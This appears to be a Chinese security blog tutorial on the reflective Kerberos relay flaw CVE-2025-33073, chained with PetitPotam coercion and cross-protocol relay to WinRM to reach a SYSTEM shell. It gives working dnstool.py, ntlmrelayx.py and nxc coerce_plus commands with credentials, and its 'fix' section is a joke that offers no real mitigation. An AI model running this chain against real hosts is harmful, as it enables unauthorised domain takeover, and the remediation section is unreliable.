简介

在信息安全领域,已修复漏洞的再次出现是一个持续存在的挑战。

本文在对 Active Directory 环境中的中继攻击进行深入研究时,发现了一种新型的反射式 Kerberos 中继攻击。自微软发布 MS08-068 补丁以阻止 NTLM 消息被中继回源主机后,类似的反射攻击被认为已得到有效缓解。然而,我们的研究证实,通过将攻击向量从 NTLM 转向 Kerberos,可以绕过这一经典防护机制。 研究表明,若攻击者能强制任意 Windows 主机通过 SMB 向其发起 Kerberos 身份验证,便可截获并中继该主机的计算机账户票证,攻击主机自身的服务,最终利用一个提权漏洞获得 NT AUTHORITY\SYSTEM 级别的特权,并实现远程代码执行 (RCE)。

要了解该反射攻击我们首先需要了解 CVE-2025-33073 – 反射型 Kerberos 中继攻击漏洞。

反射型 Kerberos 中继攻击

2025年1月,RedTeam Pentesting 在一次深入研究中,偶然发现了一个潜藏在 Kerberos 认证机制中的严重漏洞——命名为“反射式 Kerberos 中继攻击”,并获得了CVE编号CVE-2025-33073。在将详尽的白皮书提交给微软后,官方已于2025年6月10日发布了修复程序。

攻击的起点非常经典:我们强制一台 Windows 主机通过 SMB 连接到我们的攻击系统,并使用 Kerberos 进行身份验证。按照传统的中继攻击逻辑,当我们把这枚 Kerberos 票证再“反射”回主机自身时,我们本以为最多只能拿到一个普通的计算机账户会话。但一个惊人的结果出现了——我们建立的 SMB 会话,其权限竟然直接跃升至 NT AUTHORITY\SYSTEM。这个意料之外的权限提升,将一个看似普通的认证中继,变成了一把能够执行任意命令、完全控制系统的钥匙。

该漏洞影响版本:

  • Windows 10
  • Windows 11
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2016
  • Windows Server 2019
  • Windows Server 2022
  • Windows Server 2025

虽然不知道微软是怎么修复的,也可以强制执行服务器端SMB签名来防止该中继漏洞,但是在本文中我们可以使用跨协议来绕过。

跨协议中继

跨协议中继 (Cross-Protocol Relaying) 是一种高级的网络攻击技术,攻击者捕获一个协议(如 SMB)的身份验证凭据,然后将其“中继”或“重放”到另一个完全不同的协议(如 LDAP、HTTP、RPC)上,以冒充受害者身份执行操作。

在现代 Windows 环境中,许多协议都支持“签名”(Signing)机制,这是一种安全特性,用于防止中继攻击。

  • SMB 签名 (SMB Signing):如果服务器强制要求 SMB 签名,那么每一个 SMB 数据包都会被加密签名。攻击者虽然可以中继身份验证,但无法签名后续的数据包,因此中继攻击会失败。
  • LDAP 签名 (LDAP Signing):同理,如果域控制器强制要求 LDAP 签名,直接对 LDAP 进行中继也会失败。

虽然服务器的 SMB 服务可能开启了签名(很难攻击),但同一台服务器上的 LDAP 服务或 HTTP 服务可能没有开启签名。这就创造了一个攻击机会。

攻击者需要先让一台高权限主机(比如域控制器)向自己发起身份验证。这通常通过mitm6(IPv6中间人攻击) 或漏洞强制认证(如 PetitPotam, PrinterBug)来实现。

WinRM协议为例。

WinRM (Windows Remote Management) 是一个强大的远程管理服务,默认情况下通常不需要签名。

我们首先需要确保目标主机开启WinRM服务,可以在目标主机执行以下PowerShell脚本来启用WinRM服务:

# Generates a self signed TLS certificate (you can also use your certificate service)
New-SelfSignedCertificate -Subject 'CN=admin.com' -TextExtension '2.5.29.37={text}1.3.6.1.5.5.7.3.1'

# Creates a new HTTPS listener that uses the certificate created before
winrm create winrm/config/Listener?Address=*+Transport=HTTPS '@{Hostname="admin.com"; CertificateThumbprint="[证书指纹]"}'

# Opening port 5986 on the internal firewall
$FirewallParam = @{
    DisplayName = 'WinRM HTTPS'
    Direction = 'Inbound'
    LocalPort = 5986
    Protocol = 'TCP'
    Action = 'Allow'
    Program = 'System'
}
New-NetFirewallRule @FirewallParam

其中,证书指纹可以通过执行Get-ChildItem -Path Cert:\LocalMachine\My命令查看。

如果没有,则可以执行New-SelfSignedCertificate -DnsName "ServerB.domain.com" -CertStoreLocation "Cert:\LocalMachine\My"命令生成。

接着,执行New-NetFirewallRule -Name "Allow WinRM (HTTP-In)" -DisplayName "Allow WinRM (HTTP-In)" -Direction Inbound -Protocol TCP -LocalPort 5985 -Action Allow命令配置WinRM的入站规则。

然后,在攻击者主机中执行python3 dnstool.py -u admin.com\\administrator -p '123qwe!@#' 192.168.0.109 -a add -r kali1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.0.189 --allow-multiple命令,添加恶意DNS记录到目标192.168.0.109主机。

接着,我们在攻击者主机中执行ntlmrelayx.py -t winrms://192.168.0.109 -smb2support命令,来扮演“中间人”的角色,准备接收并中继凭证。

现在,攻击者需要“命令”目标服务器向我们的“中间人”发起认证。

执行nxc smb 192.168.0.109 -u administrator -p '123qwe!@#' -M coerce_plus -o L=kali1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=Petit命令触发强制认证。

我们这里使用 nxc (以前叫 CrackMapExec) 用 administrator 这个用户的凭据登录到 192.168.0.109 的 SMB 服务。

在参数中,-M coerce_plus:-M 参数用于加载一个 NetExec 模块。coerce_plus 是一个专门用于测试和触发多种 NTLM 强制认证漏洞的模块。

  • -o: -o 参数用于向模块传递选项。
    • M=Petit: 这里的 M 代表 “Method” (方法)。明确地告诉 coerce_plus 模块,请使用 PetitPotam 这种方法来触发强制认证。
    • L=: 这里的 L 通常代表 “Listener” (监听者)。它告诉目标服务器 (kali) 应该向哪个地址发起认证。在标准的 coerce_plus 用法中,这里应该填入你 ntlmrelayx.py 所在的攻击机的 DNS 地址。

图中可以看到以下信息:

  • signing:True: 这意味着 SMB 签名是开启的。这是一个重要的安全设置,可以防止传统的 NTLM 中继攻击直接攻击 SMB 服务本身。所以攻击者不能把凭证再中继回 SMB。
  • VULNERABLE, PetitPotam: nxc 的 coerce_plus 模块发现这台机器存在 PetitPotam 漏洞。这个漏洞允许攻击者强制这台机器向任意指定的地址发起 NTLM 身份验证。
  • Exploit Success, efsrpc\EfsRpcAddUsersToFile: coerce_plus 模块成功触发了漏洞,证明了强制认证是可行的。

然后,我们便会在监听的中继器中查看到凭证:

最后,攻击者使用 nc (netcat) 连接到本地的 11000 端口,从而接入那个已经被中继工具获取到的远程 Shell。

修复

疯狂重启让CPU超频变成赛博坦星人即可自行修复,成功了Vme50

总结

这个方法之所以强大,是因为:

  • 无需破解密码: 它利用的是 Windows 的认证协议机制,而不是密码的强弱。
  • 绕过常见防御: 通过中继到 WinRM 等其他服务,成功绕过了 SMB 签名这一关键防御措施。
  • 权限极高: 由于强制认证的是计算机账户,一旦成功,通常直接获得 SYSTEM 权限。